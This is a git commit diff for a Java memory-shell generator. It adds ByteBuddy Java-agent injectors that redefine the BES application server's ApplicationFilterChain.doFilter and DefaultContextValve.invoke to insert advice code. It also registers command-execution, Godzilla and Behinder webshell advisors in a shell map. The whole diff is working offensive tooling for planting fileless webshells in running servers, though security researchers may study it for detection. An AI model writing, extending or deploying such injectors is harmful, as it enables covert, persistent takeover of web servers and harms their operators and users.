feat: suport bes agent shell

This commit is contained in:
ReaJason
2025-01-10 01:07:34 +08:00
parent b0c31ff7fd
commit e6fb68b0e7
3 changed files with 141 additions and 6 deletions
@@ -3,12 +3,13 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.bes.behinder.BehinderValve; import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
import com.reajason.javaweb.memshell.bes.command.CommandValve; import com.reajason.javaweb.memshell.bes.command.CommandValve;
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.bes.injector.BesFilterInjector; import com.reajason.javaweb.memshell.bes.injector.*;
import com.reajason.javaweb.memshell.bes.injector.BesListenerInjector;
import com.reajason.javaweb.memshell.bes.injector.BesValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
@@ -29,7 +30,9 @@ public class BesShell extends AbstractShell {
return Map.of( return Map.of(
FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class), FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class), LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class),
VALVE, Pair.of(CommandValve.class, BesValveInjector.class) VALVE, Pair.of(CommandValve.class, BesValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, BesFilterChainAgentInjector.class),
AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, BesContextValveAgentInjector.class)
); );
} }
@@ -38,7 +41,9 @@ public class BesShell extends AbstractShell {
return Map.of( return Map.of(
FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class), FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class), LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class) VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, BesFilterChainAgentInjector.class),
AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, BesContextValveAgentInjector.class)
); );
} }
@@ -47,7 +52,9 @@ public class BesShell extends AbstractShell {
return Map.of( return Map.of(
FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class), FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class), LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, BesValveInjector.class) VALVE, Pair.of(BehinderValve.class, BesValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, BesFilterChainAgentInjector.class),
AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, BesContextValveAgentInjector.class)
); );
} }
} }
@@ -0,0 +1,64 @@
package com.reajason.javaweb.memshell.bes.injector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/28
*/
public class BesContextValveAgentInjector implements AgentBuilder.Transformer {
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("com.bes.enterprise.webtier.core.DefaultContextValve"))
.transform(new BesContextValveAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
}
}
@@ -0,0 +1,64 @@
package com.reajason.javaweb.memshell.bes.injector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/28
*/
public class BesFilterChainAgentInjector implements AgentBuilder.Transformer {
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("com.bes.enterprise.webtier.core.ApplicationFilterChain"))
.transform(new BesFilterChainAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
}
}